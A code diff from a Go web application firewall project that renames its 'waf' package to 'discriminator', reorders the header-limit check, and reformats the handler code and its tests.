// rproxy's questions, takes rproxy's reports and answers its own endpoints. It // rproxy's questions, takes rproxy's reports and answers its own endpoints. It
// passes nothing to an app. rproxy applies the size and time limits to the // passes nothing to an app. rproxy applies the size and time limits to the
// visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it // visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it
@@ -110,13 +110,10 @@ func New(params Params) *Server {
Server: &http.Server{ Server: &http.Server{
Addr: params.Config.ListenAddr, Addr: params.Config.ListenAddr,
Handler: h, Handler: h,
ErrorLog: slog.NewLogLogger( ErrorLog: slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn),
params.ProcessLog.Handler(), ReadTimeout: discriminatorTimeout,
slog.LevelWarn, WriteTimeout: discriminatorTimeout,
), IdleTimeout: discriminatorIdleTimeout,
ReadTimeout: wafTimeout,
WriteTimeout: wafTimeout,
IdleTimeout: wafIdleTimeout,
}, },
Ledger: h.ledger, Ledger: h.ledger,
Limiter: h.limiter, Limiter: h.limiter,
@@ -131,8 +128,8 @@ func New(params Params) *Server {
} }
} }
// ServeHTTP handles one request to waf: a request carrying // ServeHTTP handles one request to discriminator: a request carrying
// ClientHeader is rproxy's question, and any other is for waf // ClientHeader is rproxy's question, and any other is for discriminator
// itself. // itself.
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if len(r.Header.Values(ClientHeader)) > 0 { if len(r.Header.Values(ClientHeader)) > 0 {
@@ -146,9 +143,10 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// refusedWhateverTheAnswer reports whether the request is one that does not wait // refusedWhateverTheAnswer reports whether the request is one that does not wait
// for GeoJS, since the checks will refuse it at now whatever GeoJS answers about // for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
// its client: the heuristic crowdsec, blocklists or rate_limits will refuse it, // its client: the heuristic crowdsec, header_limits, blocklists or rate_limits
// as a function in that heuristic's file says. In observe mode, which refuses // will refuse it, as a function in that heuristic's file says. In observe mode,
// nothing, none is. rproxy lets a request through when waf answers too late. // which refuses nothing, none is. rproxy lets a request through when
// discriminator answers too late.
func (rq *request) refusedWhateverTheAnswer(now time.Time) bool { func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
if rq.h.config.Observe { if rq.h.config.Observe {
return false return false
@@ -156,7 +154,7 @@ func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
_, decided := rq.crowdSecDecisionInForce(now) _, decided := rq.crowdSecDecisionInForce(now)
return decided || return decided || overHeaderLimits(rq.headerCounts()) ||
rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) || rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) ||
rq.overAWholeRateLimit(now) rq.overAWholeRateLimit(now)
} }
@@ -173,13 +171,8 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
// One that cannot be read leaves the log line's peer_ip invalid. // One that cannot be read leaves the log line's peer_ip invalid.
peer, _ := netip.ParseAddr(r.Header.Get(PeerHeader)) peer, _ := netip.ParseAddr(r.Header.Get(PeerHeader))
rq := h.startRequest( rq := h.startRequest(w, asTheVisitorSentIt(r, body), client.Unmap(), peer.Unmap(),
w, true)
asTheVisitorSentIt(r, body),
client.Unmap(),
peer.Unmap(),
true,
)
// The last deferred runs first, so that what is held has the finished log // The last deferred runs first, so that what is held has the finished log
// line. Go's server sends the answer only once this function has // line. Go's server sends the answer only once this function has
// returned, so the report cannot come before it is held. // returned, so the report cannot come before it is held.
@@ -187,7 +180,7 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
defer rq.finish() defer rq.finish()
rq.site = r.Host rq.site = r.Host
rq.line.WAFLine = requestlog.WAFLineDecision rq.line.DiscriminatorLine = requestlog.DiscriminatorLineDecision
refused := rq.check(r.Context()) refused := rq.check(r.Context())
rq.checked = time.Now() rq.checked = time.Now()
underOwnPrefix := strings.HasPrefix(r.URL.Path, ownEndpointPrefix) underOwnPrefix := strings.HasPrefix(r.URL.Path, ownEndpointPrefix)
@@ -213,23 +206,19 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
return return
} }
// The app never sees this prefix. waf's own endpoints are at its // The app never sees this prefix. discriminator's own endpoints are at its
// own address, so this answers as a path with no endpoint does. // own address, so this answers as a path with no endpoint does.
rq.line.Action = requestlog.ActionOwnEndpoint rq.line.Action = requestlog.ActionOwnEndpoint
rq.out.Header().Set(DispositionHeader, DispositionDeny) rq.out.Header().Set(DispositionHeader, DispositionDeny)
http.Error( http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
rq.out,
http.StatusText(http.StatusNotFound),
http.StatusNotFound,
)
} }
// readQuestion returns the visitor's address and the body a question carries, // readQuestion returns the visitor's address and the body a question carries,
// and whether waf takes the question. It answers a question it does not // and whether discriminator takes the question. It answers a question it does not
// take with 400 and no disposition. rproxy passes that 400 to the visitor, // take with 400 and no disposition, which rproxy treats as it treats no
// and SWRP_DEFAULT_DISPOSITION does not apply. The id of a question waf takes // answer. The id of a question it takes is held from here on, without a
// is held from here on, without a decision yet, so that another question with // decision yet, so that another question with that id is refused while this
// that id is refused while this one is being handled. // one is being handled.
// //
// The body is read before any check, since Go's server does not send an answer // The body is read before any check, since Go's server does not send an answer
// until it has read the body. A question whose body stops arriving gets no // until it has read the body. A question whose body stops arriving gets no
@@ -251,9 +240,7 @@ func (h *handler) readQuestion(
return netip.Addr{}, nil, false return netip.Addr{}, nil, false
} }
body, err := io.ReadAll( body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, QuestionBodyMaxBytes))
http.MaxBytesReader(w, r.Body, QuestionBodyMaxBytes),
)
if _, tooLarge := errors.AsType[*http.MaxBytesError](err); tooLarge { if _, tooLarge := errors.AsType[*http.MaxBytesError](err); tooLarge {
h.refuseQuestion(w, "the body is over 64 KiB") h.refuseQuestion(w, "the body is over 64 KiB")
@@ -262,11 +249,7 @@ func (h *handler) readQuestion(
} }
if err != nil { if err != nil {
h.processLog.Warn( h.processLog.Warn("a question's body stopped arriving", "error", err.Error())
"a question's body stopped arriving",
"error",
err.Error(),
)
// This panic has Go's server close the connection without an answer, // This panic has Go's server close the connection without an answer,
// and log nothing. // and log nothing.
panic(http.ErrAbortHandler) panic(http.ErrAbortHandler)
@@ -274,10 +257,7 @@ func (h *handler) readQuestion(
held, _ := h.awaitingReport.ContainsOrAdd(id, nil) held, _ := h.awaitingReport.ContainsOrAdd(id, nil)
if held { if held {
h.refuseQuestion( h.refuseQuestion(w, requestIDHeader+" is the id of a request discriminator holds")
w,
requestIDHeader+" is the id of a request waf holds",
)
return netip.Addr{}, nil, false return netip.Addr{}, nil, false
} }
@@ -285,14 +265,14 @@ func (h *handler) readQuestion(
return client, body, true return client, body, true
} }
// refuseQuestion answers a question waf does not take, for reason. // refuseQuestion answers a question discriminator does not take, for reason.
func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) { func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) {
h.processLog.Warn("a question is refused", "reason", reason) h.processLog.Warn("a question is refused", "reason", reason)
http.Error(w, reason, http.StatusBadRequest) http.Error(w, reason, http.StatusBadRequest)
} }
// asTheVisitorSentIt returns a copy of r, a question, as the checks and the // asTheVisitorSentIt returns a copy of r, a question, as the checks and the
// log line are to see it: without the headers rproxy adds for waf, // log line are to see it: without the headers rproxy adds for discriminator,
// with body, which has been read of r, and with the length the visitor // with body, which has been read of r, and with the length the visitor
// announced, as -1 when it announced none. The question's own length covers // announced, as -1 when it announced none. The question's own length covers
// only the part of the body it carries. // only the part of the body it carries.
@@ -360,7 +340,7 @@ func (rq *request) deny(r refusal) {
http.Error(rq.out, http.StatusText(r.status), r.status) http.Error(rq.out, http.StatusText(r.status), r.status)
} }
// answerOwnEndpoint answers a request to waf's own address. No check // answerOwnEndpoint answers a request to discriminator's own address. No check
// runs on it: the address is on the private network, where the peers are // runs on it: the address is on the private network, where the peers are
// rproxy and the admin's tools, not visitors. // rproxy and the admin's tools, not visitors.
func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) { func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) {
@@ -411,9 +391,7 @@ func (h *handler) takeReport(w http.ResponseWriter, r *http.Request) {
func readReport(w http.ResponseWriter, r *http.Request) (Report, error) { func readReport(w http.ResponseWriter, r *http.Request) (Report, error) {
var report Report var report Report
body, err := io.ReadAll( body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, reportBodyMaxBytes))
http.MaxBytesReader(w, r.Body, reportBodyMaxBytes),
)
if err != nil { if err != nil {
return report, fmt.Errorf("read the body: %w", err) return report, fmt.Errorf("read the body: %w", err)
} }
@@ -469,22 +447,15 @@ func (report *Report) checkRanges() error {
// request to its client's history, the anomaly counters and the metrics, with // request to its client's history, the anomaly counters and the metrics, with
// the status and bytes the report gives. A denied request's counting was // the status and bytes the report gives. A denied request's counting was
// finished at its decision. ctx is the report's own context. // finished at its decision. ctx is the report's own context.
func (h *handler) finishWith( func (h *handler) finishWith(ctx context.Context, held *decision, report Report) {
ctx context.Context,
held *decision,
report Report,
) {
rq := &request{ rq := &request{
decision: *held, decision: *held,
h: h, h: h,
out: &responseWriter{ out: &responseWriter{status: report.Status, bytes: report.ResponseBytes},
status: report.Status,
bytes: report.ResponseBytes,
},
requestBytes: report.RequestBytes, requestBytes: report.RequestBytes,
} }
rq.line.WAFLine = requestlog.WAFLineReport rq.line.DiscriminatorLine = requestlog.DiscriminatorLineReport
rq.line.Status = report.Status rq.line.Status = report.Status
rq.line.RequestBytes = report.RequestBytes rq.line.RequestBytes = report.RequestBytes
rq.line.ResponseBytes = report.ResponseBytes rq.line.ResponseBytes = report.ResponseBytes
@@ -497,13 +468,9 @@ func (h *handler) finishWith(
rq.countAnomalies() rq.countAnomalies()
rq.addToHistory() rq.addToHistory()
rq.h.metrics.RequestReported( rq.h.metrics.RequestReported(&rq.line,
&rq.line,
time.Duration(report.DurationTotalMS*float64(time.Millisecond)), time.Duration(report.DurationTotalMS*float64(time.Millisecond)),
time.Duration( time.Duration(report.DurationUpstreamTotalMS*float64(time.Millisecond)))
report.DurationUpstreamTotalMS*float64(time.Millisecond),
),
)
} }
rq.writeLine() rq.writeLine()
File diff suppressed because it is too large. Load diff
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic dnsbl. It reads SWW_REPUTATION_ACTION, and the DNSBL zones' // The heuristic dnsbl. It reads SWW_REPUTATION_ACTION, and the DNSBL zones'
// verdicts through the DNSBL checker. // verdicts through the DNSBL checker.
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic header_limits. It reads no setting: its limits are fixed. // The heuristic header_limits. It reads no setting: its limits are fixed.
@@ -10,27 +10,22 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// The header limits: the most cookies and header fields a request may have. // The header limits: the most cookies and header fields a request may have
// Real clients never reach them. // when the checks reach the Core Rule Set. Real clients never reach them.
const ( const (
maxCookies = 50 maxCookies = 50
maxHeaderFields = 100 maxHeaderFields = 100
) )
// headerLimits refuses a request with more than maxHeaderFields header fields // headerLimits refuses a request over the header limits, with 431. Its figures
// or more than maxCookies cookies, with 431. Its figures are the request's // are the request's header fields and cookies, and the limit of each.
// header fields and cookies, and the limit of each.
type headerLimits struct{} type headerLimits struct{}
func (headerLimits) name() string { return "header_limits" } func (headerLimits) name() string { return "header_limits" }
func (headerLimits) check( func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict {
_ context.Context,
rq *request,
_ time.Time,
) *verdict {
fields, cookies := rq.headerCounts() fields, cookies := rq.headerCounts()
if fields <= maxHeaderFields && cookies <= maxCookies { if !overHeaderLimits(fields, cookies) {
return nil return nil
} }
@@ -43,6 +38,13 @@ func (headerLimits) check(
} }
} }
// overHeaderLimits reports whether a request with these counts of header fields
// and cookies, as headerCounts counts them, is over the header limits: it has
// more than maxHeaderFields fields or more than maxCookies cookies.
func overHeaderLimits(fields, cookies int) bool {
return fields > maxHeaderFields || cookies > maxCookies
}
// headerCounts returns the request's header fields, each value of a header sent // headerCounts returns the request's header fields, each value of a header sent
// twice being one, and its cookies, each part of a Cookie header between // twice being one, and its cookies, each part of a Cookie header between
// semicolons being one unless it is empty or only spaces and tabs. The Core // semicolons being one unless it is empty or only spaces and tabs. The Core
+41
View File
@@ -0,0 +1,41 @@
package discriminator_test
import (
"net/http"
"testing"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
t.Parallel()
// With a limit of one request a minute, any request counted before
// the last one would have it refused.
s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
const (
healthChecks = 3
contentType = "text/plain; charset=utf-8"
)
for range healthChecks {
got := s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "",
http.StatusOK)
if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
"with %q", got.body, got.header.Get("Content-Type"), contentType)
}
}
s.get(client, http.StatusOK, requestlog.ActionForward)
for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] {
if line.ResponseContentType != contentType {
t.Errorf("health check's log line has response_content_type %q, "+
"want %q", line.ResponseContentType, contentType)
}
}
}
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"context" "context"
@@ -9,7 +9,7 @@ import (
// and add one line for it to one of the lists below. Its settings go in // and add one line for it to one of the lists below. Its settings go in
// config.Config, and the comment at the top of its file names them. // config.Config, and the comment at the top of its file names them.
// heuristic is one of the checks that decide what waf does with a // heuristic is one of the checks that decide what discriminator does with a
// request. // request.
type heuristic interface { type heuristic interface {
// name is the heuristic's name, which the log line gives. // name is the heuristic's name, which the log line gives.
@@ -41,11 +41,8 @@ const (
// beforeLookup are the heuristics that run before the client's AS number and // beforeLookup are the heuristics that run before the client's AS number and
// country are looked up, so that a client they refuse is not looked up. // country are looked up, so that a client they refuse is not looked up.
// header_limits comes first: it only counts, and a request it refuses causes no
// other work.
func beforeLookup() []heuristic { func beforeLookup() []heuristic {
return []heuristic{ return []heuristic{
headerLimits{},
tagLists{}, tagLists{},
routeWatchTags{}, routeWatchTags{},
denyNets{}, denyNets{},
@@ -67,12 +64,13 @@ func afterLookup() []heuristic {
rateLimits{}, rateLimits{},
trapPaths{}, trapPaths{},
ruleFiles{}, ruleFiles{},
headerLimits{},
coreRuleSet{}, coreRuleSet{},
tagDeny{}, tagDeny{},
} }
} }
// afterAnswer are the heuristics that run on a request once waf has // afterAnswer are the heuristics that run on a request once discriminator has
// answered it, before its decision line is written. They ban the client, and do // answered it, before its decision line is written. They ban the client, and do
// not change what the request got: their verdict's action is not used. // not change what the request got: their verdict's action is not used.
func afterAnswer() []heuristic { func afterAnswer() []heuristic {
@@ -117,10 +115,7 @@ func (rq *request) runHeuristics(
// after_answer_heuristic_figures name the heuristic that gave a verdict, and // after_answer_heuristic_figures name the heuristic that gave a verdict, and
// give its figures, so that heuristic and heuristic_figures still name the one // give its figures, so that heuristic and heuristic_figures still name the one
// that refused the request. ctx is the request's own context. // that refused the request. ctx is the request's own context.
func (rq *request) runBanningHeuristics( func (rq *request) runBanningHeuristics(ctx context.Context, list []heuristic) {
ctx context.Context,
list []heuristic,
) {
name, v := rq.firstVerdict(ctx, list, rq.h.now()) name, v := rq.firstVerdict(ctx, list, rq.h.now())
if v != nil { if v != nil {
rq.line.AfterAnswerHeuristic = name rq.line.AfterAnswerHeuristic = name
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"io" "io"
@@ -8,9 +8,9 @@ import (
"testing" "testing"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) { func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
@@ -60,11 +60,7 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) { func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"})
t,
"",
map[string]string{maxTrackedClients: "2"},
)
// The third client drops the least recently seen, the first, with its // The third client drops the least recently seen, the first, with its
// history. // history.
@@ -74,12 +70,8 @@ func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32")) _, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
if server.Limiter.Len() != 2 || held { if server.Limiter.Len() != 2 || held {
t.Errorf( t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+
"the table holds %d clients, the first among them: %t; want 2, "+ "without it", server.Limiter.Len(), held)
"without it",
server.Limiter.Len(),
held,
)
} }
} }
@@ -92,10 +84,7 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
}) })
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil) addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
got := do( got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
t,
newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")),
)
wantStatus(t, got, http.StatusOK) wantStatus(t, got, http.StatusOK)
out.endedLine(t) out.endedLine(t)
@@ -109,20 +98,10 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
func TestOwnEndpointsAreNotInTheHistory(t *testing.T) { func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{metricsToken: token})
t,
"",
map[string]string{metricsToken: token},
)
s.ownEndpointRequest( s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "", http.StatusOK)
"", s.ownEndpointRequest("", http.MethodGet, discriminator.MetricsPath, "",
http.MethodGet,
waf.HealthPath,
"",
http.StatusOK,
)
s.ownEndpointRequest("", http.MethodGet, waf.MetricsPath, "",
http.StatusUnauthorized) http.StatusUnauthorized)
s.scrape() s.scrape()
@@ -141,8 +120,7 @@ func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
out.endedLine(t) out.endedLine(t)
history := historyOf(t, server, localhost) history := historyOf(t, server, localhost)
if history.Requests != 1 || history.Forwarded != 0 || if history.Requests != 1 || history.Forwarded != 0 || history.Refused != 0 {
history.Refused != 0 {
t.Errorf("history counts %d requests, %d forwarded and %d refused, "+ t.Errorf("history counts %d requests, %d forwarded and %d refused, "+
"want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused) "want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused)
} }
@@ -150,7 +128,7 @@ func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
// historyOf returns the history of the client at addr. // historyOf returns the history of the client at addr.
func historyOf( func historyOf(
t *testing.T, server *waf.Server, addr string, t *testing.T, server *discriminator.Server, addr string,
) ratelimit.History { ) ratelimit.History {
t.Helper() t.Helper()
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"context" "context"
@@ -105,6 +105,5 @@ func setLookupHeaders(header http.Header, asn, country string) {
// canBePlaced reports whether a lookup can place addr: private, loopback // canBePlaced reports whether a lookup can place addr: private, loopback
// and link-local addresses have no AS number or country. // and link-local addresses have no AS number or country.
func canBePlaced(addr netip.Addr) bool { func canBePlaced(addr netip.Addr) bool {
return !addr.IsPrivate() && !addr.IsLoopback() && return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast()
!addr.IsLinkLocalUnicast()
} }
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -24,9 +24,7 @@ type asnAndCountry struct{ asn, asName, country string }
// lookup database. // lookup database.
const fileSource = "file" const fileSource = "file"
func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt( func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
// The stand-in for GeoJS answers only once released. A request that // The stand-in for GeoJS answers only once released. A request that
@@ -47,10 +45,7 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
} { } {
got := asnAndCountry{line.ASN, line.ASName, line.Country} got := asnAndCountry{line.ASN, line.ASName, line.Country}
if got != (asnAndCountry{}) { if got != (asnAndCountry{}) {
t.Errorf( t.Errorf("log line has %+v before GeoJS answered, want nothing", got)
"log line has %+v before GeoJS answered, want nothing",
got,
)
} }
} }
@@ -85,12 +80,7 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
// GeoJS was asked about each client once, fromKP after fromDE, whose // GeoJS was asked about each client once, fromKP after fromDE, whose
// request was under way when fromKP came. // request was under way when fromKP came.
if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) { if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) {
t.Errorf( t.Errorf("GeoJS was asked about %v, want %s and %s", got, fromDE, fromKP)
"GeoJS was asked about %v, want %s and %s",
got,
fromDE,
fromKP,
)
} }
} }
@@ -137,9 +127,7 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
// for GeoJS. The second request goes on at once, and is counted. // for GeoJS. The second request goes on at once, and is counted.
clk.advance(2500 * time.Millisecond) clk.advance(2500 * time.Millisecond)
server.GeoJS.Load([]lookup.Answer{{ server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix( Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
fromDE + "/32",
), ASN: asnDE, ASName: asNameDE,
Country: "DE", Answered: clk.Now(), Used: clk.Now(), Country: "DE", Answered: clk.Now(), Used: clk.Now(),
}}) }})
wantStatus(t, do(t, requestFromDE()), http.StatusOK) wantStatus(t, do(t, requestFromDE()), http.StatusOK)
@@ -152,12 +140,7 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
t.Fatalf("first request: %v", err) t.Fatalf("first request: %v", err)
} }
wantLine( wantLine(t, out.endedLines(t, 2)[1], http.StatusOK, requestlog.ActionForward)
t,
out.endedLines(t, 2)[1],
http.StatusOK,
requestlog.ActionForward,
)
// The third request's count holds all three: the first was counted // The third request's count holds all three: the first was counted
// when it went on, in the minute under way, and the second's count // when it went on, in the minute under way, and the second's count
@@ -166,32 +149,22 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
wantStatus(t, do(t, requestFromDE()), http.StatusOK) wantStatus(t, do(t, requestFromDE()), http.StatusOK)
if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 { if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 {
t.Errorf( t.Errorf("the third request's count in the minute is %v, want 3", got)
"the third request's count in the minute is %v, want 3",
got,
)
} }
} }
func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert( func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)} clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
addr, out, server, queue := startProxyWithAlerts( addr, out, server, queue := startProxyWithAlerts(t, app.URL, geojsURL, clk.Now,
t,
app.URL,
geojsURL,
clk.Now,
map[string]string{ map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
alertWebhookURL: "https://alerts.example/sww", alertWebhookURL: "https://alerts.example/sww",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
}, })
)
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
// The answer is kept before the requests, so GeoJS is not asked, and // The answer is kept before the requests, so GeoJS is not asked, and
@@ -240,17 +213,11 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
t.Parallel() t.Parallel()
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
s, clk, server := startWithClock( s, clk, server := startWithClock(t, geojsURL, map[string]string{lookupSource: "off"})
t,
geojsURL,
map[string]string{lookupSource: "off"},
)
// Even an answer kept from before is not used. // Even an answer kept from before is not used.
server.GeoJS.Load([]lookup.Answer{{ server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix( Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
fromDE + "/32",
), ASN: asnDE, ASName: asNameDE,
Country: "DE", Answered: clk.Now(), Used: clk.Now(), Country: "DE", Answered: clk.Now(), Used: clk.Now(),
}}) }})
@@ -263,13 +230,8 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
} }
} }
if h := historyOf(t, server, fromDE); h.ASN != "" || if h := historyOf(t, server, fromDE); h.ASN != "" || !h.LookedUp.IsZero() {
!h.LookedUp.IsZero() { t.Errorf("history has %q, looked up at %s, want no lookup", h.ASN, h.LookedUp)
t.Errorf(
"history has %q, looked up at %s, want no lookup",
h.ASN,
h.LookedUp,
)
} }
if len(asked()) != 0 { if len(asked()) != 0 {
@@ -277,9 +239,7 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
} }
} }
func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked( func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
@@ -337,9 +297,7 @@ func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(
} }
} }
func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved( func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
var ( var (
@@ -352,23 +310,15 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
defer mu.Unlock() defer mu.Unlock()
got = append(got, [2][]string{ got = append(got, [2][]string{
r.Header.Values( r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country"),
"X-Client-Asn",
), r.Header.Values("X-Client-Country"),
}) })
}) })
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out, _ := startProxyWithClock( addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
t,
app.URL,
geojsURL,
time.Now,
map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
lookupTimeout: "1h", lookupTimeout: "1h",
addLookupHeaders: on, addLookupHeaders: on,
}, })
)
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
// Each client sends headers of its own. fromDE's first request waits // Each client sends headers of its own. fromDE's first request waits
@@ -390,9 +340,7 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
} }
} }
func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff( func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
var ( var (
@@ -404,22 +352,12 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
mu.Lock() mu.Lock()
defer mu.Unlock() defer mu.Unlock()
asn, country = r.Header.Values( asn, country = r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country")
"X-Client-Asn",
), r.Header.Values(
"X-Client-Country",
)
}) })
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out, _ := startProxyWithClock( addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
t,
app.URL,
geojsURL,
time.Now,
map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
}, })
)
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders, s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders,
@@ -429,11 +367,8 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
defer mu.Unlock() defer mu.Unlock()
if asn != nil || country != nil { if asn != nil || country != nil {
t.Errorf( t.Errorf("the app was passed X-Client-ASN %v and X-Client-Country %v, want neither",
"the app was passed X-Client-ASN %v and X-Client-Country %v, want neither", asn, country)
asn,
country,
)
} }
} }
@@ -444,13 +379,13 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
// clock of the test's own: the wait lasts exactly as long as it should, // clock of the test's own: the wait lasts exactly as long as it should,
// however slowly the test process runs. Nothing in it may wait on the // however slowly the test process runs. Nothing in it may wait on the
// network, which would keep that clock from moving on: the request is // network, which would keep that clock from moving on: the request is
// handed to waf's handler, and GeoJS is one that never answers. // handed to discriminator's handler, and GeoJS is one that never answers.
